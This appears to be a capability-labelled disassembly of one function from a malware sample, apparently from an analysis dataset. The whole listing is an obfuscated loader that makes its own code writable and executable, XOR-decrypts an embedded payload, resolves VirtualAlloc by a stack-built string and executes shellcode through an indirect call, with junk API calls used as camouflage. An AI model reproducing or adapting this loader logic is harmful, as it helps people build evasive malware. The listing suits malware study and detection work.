Function at 0x401b30
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffcb0
mov eax, dword [0x4ae268]
cmp eax, dword [0x4ae21c]
mov dl, byte [0x4ae282]
push esi
push edi
mov dword [ebp - 4], 0x400000
mov dword [ebp - 0x10], 2
cmp dl, byte [0x4ae282]
jge 0x401b6b
mov word [0x4ae22e], 0xab
xor ecx, ecx
mov dword [0x4ae234], ecx
cmp byte [0x4ae282], 0
je 0x401c7b
cmp dword [0x4ae21c], 0
je 0x401c7b
mov word [0x4ae22e], 0xbbc
jmp 0x401c7b
mov eax, dword [0x4ae234]
cmp eax, dword [0x4ae268]
mov dword [ebp - 0x14], 0x4ae268
movsx edx, byte [0x4ae282]
movsx ecx, byte [0x4ae22e]
sub edx, ecx
je 0x401bd1
cmp byte [0x4ae282], 0
je 0x401bd1
mov word [0x4ae22c], 0x1b
mov eax, dword [ebp - 0x14]
push eax
call sub.ADVAPI32.DLL_RegFlushKey
movsx edx, byte [0x4ae230]
cmp edx, dword [0x4ae268]
lea edi, [ebp - 0x28]
mov esi, str.QueryAllelomorph
mov ecx, 4
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
movsx eax, byte [0x4ae230]
cmp eax, dword [0x4ae268]
mov edx, dword [0x4ae268]
mov dword [ebp - 0x2c], edx
mov eax, dword [str.SpendSerge]
mov dword [ebp - 0x38], eax
mov eax, dword [0x4ae2a1]
mov dword [ebp - 0x34], eax
mov ecx, dword [0x4ae268]
mov ax, word [0x4ae2a5]
cmp ecx, dword [0x4ae234]
movsx edx, word [0x4ae248]
mov word [ebp - 0x30], ax
mov al, byte [0x4ae2a7]
mov byte [ebp - 0x2e], al
mov dword [ebp - 0x3c], edx
mov ecx, dword [ebp - 0x3c]
lea eax, [ebp - 0x38]
push ecx
push eax
mov edx, dword [ebp - 0x2c]
push edx
call sub.KERNEL32.DLL_VerLanguageNameA
mov ecx, dword [0x4ae268]
mov eax, ecx
lea ecx, [eax + ecx*4]
lea ecx, [eax + ecx*2]
shl ecx, 3
sub ecx, eax
add ecx, ecx
cmp ecx, dword [0x4ae21c]
inc dword [0x4ae234]
cmp dword [0x4ae234], 0xe9f2a7
jl 0x401b9b
movsx edx, byte [0x4ae230]
cmp edx, dword [0x4ae234]
cmp dword [0x4ae234], 0
je 0x401ca8
cmp byte [0x4ae282], 0
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], 0x5d57d6ef
mov eax, dword [ebp - 0x44]
imul dword [ebp - 0x10]
mov dword [ebp - 0x44], eax
xor edx, edx
mov dword [ebp - 0x48], edx
movsx ecx, byte [0x4ae230]
xor ecx, dword [0x4ae268]
cmp ecx, dword [0x4ae21c]
jg 0x401ce1
mov word [0x4ae252], 0xb6
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x48]
cmp byte [0x4ae230], 0
mov dword [ebp - 0x4c], eax
je 0x401d0b
imul edx, dword [0x4ae268], 0xad1
test edx, edx
je 0x401d0b
mov dword [0x4ae238], 0x23
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ecx]
cmp eax, dword [ebp - 0x44]
je 0x401d1a
inc dword [ebp - 0x48]
jmp 0x401cc3
mov edx, dword [ebp - 0x40]
mov ecx, dword [0x4ae234]
add edx, dword [ebp - 0x48]
cmp ecx, dword [0x4ae21c]
mov dword [ebp - 0x50], edx
mov dl, byte [0x4ae230]
mov dword [ebp - 0x54], 0x9070
mov eax, dword [ebp - 0x50]
cmp dl, byte [0x4ae282]
add eax, 4
mov edx, dword [0x4ae21c]
mov dword [ebp - 0x58], eax
xor edx, dword [0x4ae234]
mov ecx, dword [ebp - 0x58]
mov eax, dword [ecx]
mov ecx, dword [0x4ae268]
sub ecx, dword [0x4ae268]
mov dword [ebp - 0x5c], eax
cmp edx, ecx
jg 0x401d78
mov word [0x4ae252], 0x875
cmp byte [0x4ae282], 0
je 0x401d88
cmp byte [0x4ae230], 0
movsx ecx, byte [0x4ae230]
mov eax, dword [ebp - 0x50]
xor edx, edx
add eax, 8
add ecx, 0x5e
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x64], edx
cmp ecx, dword [0x4ae21c]
jl 0x401db2
mov dword [0x4ae23c], 0x92c
lea eax, [ebp - 0x64]
push eax
push 0x40
mov edx, dword [ebp - 0x54]
push edx
mov ecx, dword [ebp - 0x60]
push ecx
call sub.KERNEL32.DLL_VirtualProtect
xor eax, eax
mov dword [ebp - 0x68], eax
mov edx, dword [ebp - 0x68]
cmp edx, dword [ebp - 0x54]
jg 0x402192
mov ecx, dword [ebp - 0x60]
mov eax, dword [0x4ae21c]
add ecx, dword [ebp - 0x68]
cmp eax, dword [0x4ae234]
mov dword [ebp - 0x6c], ecx
mov edx, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x5c]
xor dword [edx], ecx
cmp dword [0x4ae264], 0xdfe
jne 0x402182
mov dword [ebp - 0x70], 0x4ae268
mov eax, 0x4ae250
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 0x4ae268
cmp dword [0x4ae268], 0
jne 0x401e2a
cmp dword [0x4ae234], 0
je 0x401e33
mov word [0x4ae24c], 0x8d2
mov edx, dword [0x4ae268]
mov dword [ebp - 0x7c], edx
mov ecx, dword [ebp - 0x7c]
push ecx
mov eax, dword [ebp - 0x78]
push eax
mov edx, dword [ebp - 0x74]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
call sub.KERNEL32.DLL_VirtualQueryEx
mov dword [ebp - 0x80], 0x4ae268
movsx ecx, byte [0x4ae230]
mov dword [ebp - 0x84], str.HookNetball
mov eax, 0x4ae248
mov edx, 0x4ae252
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x8c], edx
mov eax, dword [ebp - 0x8c]
cmp ecx, dword [0x4ae268]
push eax
mov edx, dword [ebp - 0x88]
push edx
mov ecx, dword [ebp - 0x84]
push ecx
mov eax, dword [ebp - 0x80]
push eax
call sub.KERNEL32.DLL_EnumResourceNamesW
mov edx, dword [0x4ae268]
xor edx, 0x54
je 0x401eb5
cmp byte [0x4ae282], 0
mov ecx, dword [str.DoVestige]
mov al, byte [0x4ae230]
mov dword [ebp - 0x98], ecx
mov ecx, dword [0x4ae2ac]
mov dword [ebp - 0x94], ecx
mov edx, dword [0x4ae234]
mov cx, word [0x4ae2b0]
cmp edx, dword [0x4ae21c]
cmp al, byte [0x4ae230]
cmp byte [0x4ae282], 0
mov word [ebp - 0x90], cx
jne 0x401f07
mov cl, byte [0x4ae282]
xor cl, byte [0x4ae268]
lea eax, [ebp - 0x29c]
push eax
lea edx, [ebp - 0x98]
push edx
call sub.KERNEL32.DLL_FindFirstFileA
mov cl, byte [0x4ae230]
xor cl, byte [0x4ae21c]
je 0x401f2f
cmp dword [0x4ae234], 0
lea eax, [ebp - 0xa0]
push eax
call sub.KERNEL32.DLL_GetSystemTimeAsFileTime
movsx ecx, word [0x4ae248]
mov edx, dword [0x4ae268]
mov dword [ebp - 0xa4], ecx
xor edx, dword [0x4ae238]
mov eax, 0x4ae24a
cmp edx, dword [0x4ae268]
mov dword [ebp - 0xa8], eax
lea edi, [ebp - 0xb8]
mov ecx, 3
mov esi, str.ExplodePikeman
lea eax, [ebp - 0xb8]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
push eax
mov edx, dword [ebp - 0xa8]
push edx
mov ecx, dword [ebp - 0xa4]
push ecx
call sub.KERNEL32.DLL_OpenMutexA
movsx eax, byte [0x4ae282]
cmp eax, dword [0x4ae234]
jl 0x401fac
mov word [0x4ae24c], 0x4d1
movsx edx, byte [0x4ae282]
cmp edx, dword [0x4ae21c]
cmp dword [0x4ae234], 0
mov dword [ebp - 0xbc], 0x4ae268
jne 0x401fd3
cmp byte [0x4ae230], 0
movsx edx, byte [0x4ae282]
movsx ecx, word [0x4ae24c]
add edx, 0x7e
mov dword [ebp - 0xc0], ecx
mov eax, dword [0x4ae268]
cmp edx, dword [0x4ae21c]
mov dword [ebp - 0xc4], eax
jg 0x402006
mov word [0x4ae250], 0xe1
mov dword [ebp - 0xc8], 0x4ae268
mov ecx, dword [ebp - 0xc8]
lea edx, [ebp - 0x2ac]
push ecx
mov eax, dword [ebp - 0xc4]
push eax
push edx
mov ecx, dword [ebp - 0xc0]
push ecx
mov eax, dword [ebp - 0xbc]
push eax
call sub.USER32.DLL_CascadeWindows
movsx ecx, byte [0x4ae230]
mov eax, dword [0x4ae234]
mov edx, 0x4ae24a
add eax, 0xfffffc89
mov dword [ebp - 0xcc], edx
cmp ecx, eax
jle 0x402061
mov word [0x4ae248], 0x32
mov edx, dword [ebp - 0xcc]
push edx
call sub.USER32.DLL_CopyIcon
movsx ecx, byte [0x4ae230]
movsx eax, word [0x4ae252]
cmp ecx, dword [0x4ae234]
cmp dword [0x4ae234], 0
mov dword [ebp - 0xd0], 0x4ae268
mov dword [ebp - 0xd4], eax
jne 0x4020a3
cmp byte [0x4ae282], 0
je 0x4020ad
mov dword [0x4ae270], 0x7b
movsx ecx, word [0x4ae24a]
mov edx, dword [0x4ae268]
mov eax, dword [str.DieShip]
mov dword [ebp - 0xd8], edx
mov dword [ebp - 0xdc], ecx
mov dword [ebp - 0xe4], eax
mov eax, dword [0x4ae2c5]
mov dword [ebp - 0xe0], eax
lea edx, [ebp - 0xe4]
push edx
mov ecx, dword [ebp - 0xdc]
push ecx
mov eax, dword [ebp - 0xd8]
push eax
mov edx, dword [ebp - 0xd4]
push edx
mov ecx, dword [ebp - 0xd0]
push ecx
call sub.USER32.DLL_ModifyMenuA
movsx edx, byte [0x4ae282]
mov eax, dword [0x4ae268]
mov ecx, 0x4ae250
xor eax, 0x13
mov dword [ebp - 0xe8], ecx
cmp eax, edx
mov edx, 0x4ae268
movsx eax, word [0x4ae24a]
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xf0], edx
cmp byte [0x4ae230], 0
jne 0x40214c
cmp byte [0x4ae282], 0
je 0x402156
mov dword [0x4ae278], 0x9e
mov ecx, 0x4ae24c
mov dword [ebp - 0xf4], ecx
mov eax, dword [ebp - 0xf4]
push eax
mov edx, dword [ebp - 0xf0]
push edx
mov ecx, dword [ebp - 0xec]
push ecx
mov eax, dword [ebp - 0xe8]
push eax
call sub.USER32.DLL_SendNotifyMessageA
add dword [ebp - 0x68], 4
mov edx, dword [ebp - 0x68]
cmp edx, dword [ebp - 0x54]
jle 0x401dd6
movsx ecx, byte [0x4ae282]
cmp ecx, dword [0x4ae234]
cmp byte [0x4ae282], 0
mov dword [ebp - 0xf8], 4
mov dword [ebp - 0xfc], 8
jne 0x4021c5
cmp dword [0x4ae234], 0
je 0x4021cf
mov dword [0x4ae238], 0x82
movsx edx, byte [0x4ae282]
xor eax, eax
cmp edx, dword [0x4ae234]
mov dword [ebp - 0x100], eax
jle 0x4021f0
mov dword [0x4ae238], 0x86c
cmp byte [0x4ae230], 0
je 0x402200
cmp dword [0x4ae21c], 0
mov dword [ebp - 0x104], 0xc
mov dword [ebp - 0x108], 0x10
movsx ecx, byte [0x4ae282]
movsx eax, word [0x4ae22c]
xor eax, dword [0x4ae268]
cmp ecx, eax
jle 0x402236
mov dword [0x4ae238], 0x46
mov dword [ebp - 0x10c], 1
cmp dword [0x4ae21c], 0
je 0x40225b
cmp byte [0x4ae230], 0
je 0x40225b
mov word [0x4ae24c], 0x82c
cmp dword [0x4ae21c], 0
jne 0x402270
mov dl, byte [0x4ae282]
xor dl, byte [0x4ae278]
mov dword [ebp - 0x110], 0x1e
mov dword [ebp - 0x114], 6
movsx ecx, byte [0x4ae230]
cmp ecx, dword [0x4ae268]
jle 0x40229c
mov word [0x4ae22e], 0x9b2
mov dword [ebp - 0x118], 0x23
mov eax, dword [0x4ae268]
cmp eax, dword [0x4ae268]
jg 0x4022bd
mov dword [0x4ae26c], 0x17
mov dword [ebp - 0x11c], 0x1c00
mov edx, dword [0x4ae21c]
cmp edx, dword [0x4ae21c]
jg 0x4022de
mov word [0x4ae248], 0x5b3
movsx ecx, byte [0x4ae230]
cmp ecx, dword [0x4ae268]
jle 0x4022f6
mov word [0x4ae22c], 0x41
mov dword [ebp - 0x120], 0x3cb2
cmp dword [0x4ae268], 0
jne 0x402310
cmp byte [0x4ae282], 0
mov dword [ebp - 0x124], 0x3cc8
movsx eax, byte [0x4ae230]
mov edx, dword [0x4ae234]
xor edx, 0x90
cmp eax, edx
jge 0x40233b
mov dword [0x4ae27c], 0x75
movsx ecx, byte [0x4ae282]
cmp ecx, dword [0x4ae268]
jg 0x402354
mov dword [0x4ae23c], 0x98
xor edx, edx
mov al, byte [0x4ae282]
mov dword [ebp - 0x128], edx
cmp al, byte [0x4ae282]
mov ecx, dword [ebp - 0x128]
cmp ecx, dword [ebp - 0x110]
jge 0x4023a4
mov eax, dword [ebp - 0x128]
xor edx, edx
mov dword [ebp + eax*4 - 0x334], edx
mov cl, byte [0x4ae282]
cmp cl, byte [0x4ae282]
inc dword [ebp - 0x128]
mov eax, dword [ebp - 0x128]
cmp eax, dword [ebp - 0x110]
jl 0x402375
cmp dword [0x4ae21c], 0
je 0x4023c0
cmp dword [0x4ae234], 0
je 0x4023c0
mov dword [0x4ae27c], 0x88
mov dword [ebp - 0x12c], 0x18
movsx edx, byte [0x4ae230]
cmp edx, dword [0x4ae234]
jge 0x4023e3
mov dword [0x4ae270], 0x5b6
mov ecx, dword [ebp - 0x11c]
mov edx, dword [0x4ae278]
mov dword [ebp - 0x130], ecx
mov ecx, dword [0x4ae268]
imul ecx, dword [0x4ae234]
not edx
xor edx, dword [0x4ae21c]
mov eax, dword [0x4ae21c]
mov byte [ebp - 0x2bc], 0x56
mov byte [ebp - 0x2b1], 0x63
cmp eax, dword [0x4ae21c]
cmp edx, dword [0x4ae21c]
cmp ecx, dword [0x4ae234]
mov byte [ebp - 0x2b5], 0x41
jg 0x402442
mov dword [0x4ae23c], 0xd80
movsx edx, byte [0x4ae282]
movsx ecx, byte [0x4ae282]
imul edx, ecx
mov eax, dword [0x4ae234]
cmp eax, dword [0x4ae268]
cmp edx, dword [0x4ae234]
movsx eax, word [0x4ae22e]
movsx edx, byte [0x4ae230]
xor eax, dword [0x4ae234]
xor edx, dword [0x4ae268]
mov byte [ebp - 0x2b9], 0x74
mov byte [ebp - 0x2ba], 0x72
cmp eax, dword [0x4ae268]
cmp edx, dword [0x4ae21c]
mov byte [ebp - 0x2b3], 0x6c
jg 0x4024ab
mov dword [0x4ae238], 0xd3
mov byte [ebp - 0x2b2], 0x6f
mov cl, byte [0x4ae230]
cmp cl, byte [0x4ae282]
jle 0x4024ca
mov dword [0x4ae238], 0x90
mov dword [ebp - 0x134], 0x53a5
movsx eax, byte [0x4ae282]
imul dword [0x4ae21c]
test eax, eax
je 0x4024fa
mov dl, byte [0x4ae230]
xor dl, 0x18
je 0x4024fa
mov dword [0x4ae238], 0xdba
cmp byte [0x4ae230], 0
jne 0x402514
mov ecx, dword [0x4ae234]
imul ecx, dword [0x4ae234]
test ecx, ecx
je 0x40251e
mov dword [0x4ae23c], 0x3c9
mov dword [ebp - 0x138], 0x40
lea eax, [ebp - 0x138]
mov dword [ebp - 0x13c], eax
mov edx, dword [0x4ae21c]
cmp edx, dword [0x4ae21c]
jg 0x40254c
mov dword [0x4ae27c], 0x810
movsx ecx, byte [0x4ae230]
cmp ecx, dword [0x4ae234]
lea eax, [ebp - 0x13c]
mov dword [ebp - 0x334], eax
mov edx, dword [0x4ae234]
cmp edx, dword [0x4ae234]
mov ecx, dword [0x4ae268]
cmp ecx, dword [0x4ae21c]
jg 0x402588
mov word [0x4ae250], 0x60
mov byte [ebp - 0x2b4], 0x6c
mov al, byte [0x4ae230]
xor al, byte [0x4ae21c]
cmp al, byte [0x4ae282]
jle 0x4025ab
mov word [0x4ae22e], 0x37
movsx ecx, byte [0x4ae230]
mov edx, dword [0x4ae268]
lea eax, [ebp - 0x350]
xor edx, 0xd65
mov dword [ebp - 0x144], eax
cmp edx, ecx
mov edx, dword [0x4ae234]
cmp edx, dword [0x4ae21c]
jl 0x4025e3
mov word [0x4ae22c], 0x78
mov byte [ebp - 0x2b0], 0
movsx ecx, byte [0x4ae282]
movsx eax, byte [0x4ae230]
sub ecx, eax
je 0x402603
cmp dword [0x4ae21c], 0
mov byte [ebp - 0x2b7], 0x61
movsx edx, byte [0x4ae282]
mov ecx, dword [0x4ae21c]
sub ecx, edx
movsx eax, byte [0x4ae230]
cmp ecx, eax
cmp byte [0x4ae230], 0
jne 0x402632
cmp dword [0x4ae234], 0
mov byte [ebp - 0x2bb], 0x69
movsx ecx, byte [0x4ae282]
mov byte [ebp - 0x2b8], 0x75
lea edx, [ebp - 0x334]
movsx eax, byte [0x4ae282]
mov dword [ebp - 0x350], edx
cmp ecx, dword [0x4ae268]
mov byte [ebp - 0x2b6], 0x6c
mov edx, dword [ebp - 0x334]
cmp eax, dword [0x4ae234]
mov ecx, dword [edx]
mov eax, dword [ecx]
mov dword [ebp - 0x148], eax
push str.kernel32
call sub.KERNEL32.DLL_GetModuleHandleA
mov dword [ebp - 0x14c], eax
movsx edx, byte [0x4ae230]
cmp edx, dword [0x4ae268]
jge 0x4026a5
mov word [0x4ae250], 0x61e
movsx ecx, byte [0x4ae230]
mov eax, dword [0x4ae234]
mov edx, dword [0x4ae234]
sub eax, ecx
cmp eax, dword [0x4ae268]
cmp edx, dword [0x4ae268]
jg 0x4026d0
mov word [0x4ae252], 0xbb6
lea ecx, [ebp - 0x2bc]
push ecx
mov eax, dword [ebp - 0x14c]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [ebp - 0x150], eax
cmp dword [0x4ae21c], 0
je 0x4026f9
cmp byte [0x4ae282], 0
movsx edx, byte [0x4ae230]
imul edx, dword [0x4ae268]
cmp edx, dword [0x4ae234]
jge 0x402718
mov word [0x4ae22e], 0xde
mov ecx, dword [0x4ae234]
add ecx, 0xfffff9d8
test ecx, ecx
je 0x40273a
cmp dword [0x4ae234], 0
je 0x40273a
mov word [0x4ae22c], 0x874
mov eax, dword [0x4ae21c]
cmp eax, dword [0x4ae268]
jl 0x402751
mov dword [0x4ae270], 0x65
cmp dword [0x4ae268], 0
jne 0x402761
cmp dword [0x4ae21c], 0
mov edx, dword [ebp - 0x144]
mov ecx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0x60]
mov dword [edx + ecx], eax
cmp byte [0x4ae282], 0
jne 0x40278e
movsx edx, byte [0x4ae230]
movsx ecx, byte [0x4ae282]
sub edx, ecx
je 0x402797
mov word [0x4ae22e], 0xe56
mov eax, dword [ebp - 0x144]
mov edx, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x130]
mov dword [eax + edx], ecx
mov al, byte [0x4ae230]
mov ecx, dword [0x4ae234]
xor al, byte [0x4ae22e]
movsx edx, al
movsx eax, byte [0x4ae282]
xor ecx, 0xcd3
cmp edx, ecx
cmp eax, dword [0x4ae21c]
jg 0x4027e1
mov dword [0x4ae26c], 0x5a
mov edx, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x104]
mov eax, dword [ebp - 0x124]
mov dword [edx + ecx], eax
mov dl, byte [0x4ae282]
cmp dl, byte [0x4ae230]
jge 0x40280e
mov dword [0x4ae238], 0x8e6
mov ecx, dword [0x4ae21c]
xor ecx, dword [0x4ae268]
cmp ecx, dword [0x4ae268]
jle 0x40282b
mov word [0x4ae24c], 0x2ad
mov eax, dword [ebp - 0x144]
mov edx, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x134]
mov dword [eax + edx], ecx
movsx edx, byte [0x4ae230]
mov al, byte [0x4ae230]
cmp al, byte [0x4ae230]
cmp edx, dword [0x4ae268]
jge 0x402863
mov word [0x4ae22e], 0x9ab
movsx ecx, byte [0x4ae230]
cmp ecx, dword [0x4ae21c]
mov eax, dword [0x4ae234]
cmp eax, dword [0x4ae268]
jle 0x402886
mov word [0x4ae24a], 0x5b
mov edx, dword [ebp - 0x60]
add edx, dword [ebp - 0x120]
mov dword [ebp - 0x154], edx
mov ecx, dword [ebp - 0x154]
mov dword [ebp - 0x158], ecx
lea ecx, [ebp - 0x334]
mov eax, dword [ebp - 0x10c]
push eax
push 0x4ae18c
mov edx, dword [ebp - 0x118]
push edx
push 0x4ae190
push ecx
call fcn.004019a4
add esp, 0x14
movsx eax, byte [0x4ae282]
cmp eax, dword [0x4ae21c]
mov dword [ebp - 0x15c], str.notepad.exe
mov edx, dword [0x4ae234]
cmp edx, dword [0x4ae268]
jg 0x4028f6
mov word [0x4ae22e], 4
mov cl, byte [0x4ae230]
mov eax, dword [ebp - 0x144]
cmp cl, byte [0x4ae282]
mov edx, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x15c]
mov dword [eax + edx], ecx
movsx eax, byte [0x4ae230]
movsx edx, byte [0x4ae282]
sub eax, edx
jne 0x402930
cmp byte [0x4ae282], 0
movsx ecx, byte [0x4ae230]
cmp ecx, dword [0x4ae234]
jl 0x402948
mov word [0x4ae250], 0x16
mov eax, dword [0x4ae234]
cmp eax, dword [0x4ae21c]
jl 0x40295f
mov dword [0x4ae26c], 0xad
cmp dword [0x4ae234], 0
jne 0x402971
cmp byte [0x4ae230], 0
je 0x40297b
mov dword [0x4ae238], 0x789
mov edx, dword [0x4ae268]
cmp edx, dword [0x4ae268]
jge 0x402992
mov word [0x4ae22c], 0x70a
lea ecx, [ebp - 0x350]
push ecx
call dword [ebp - 0x158]
pop ecx
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret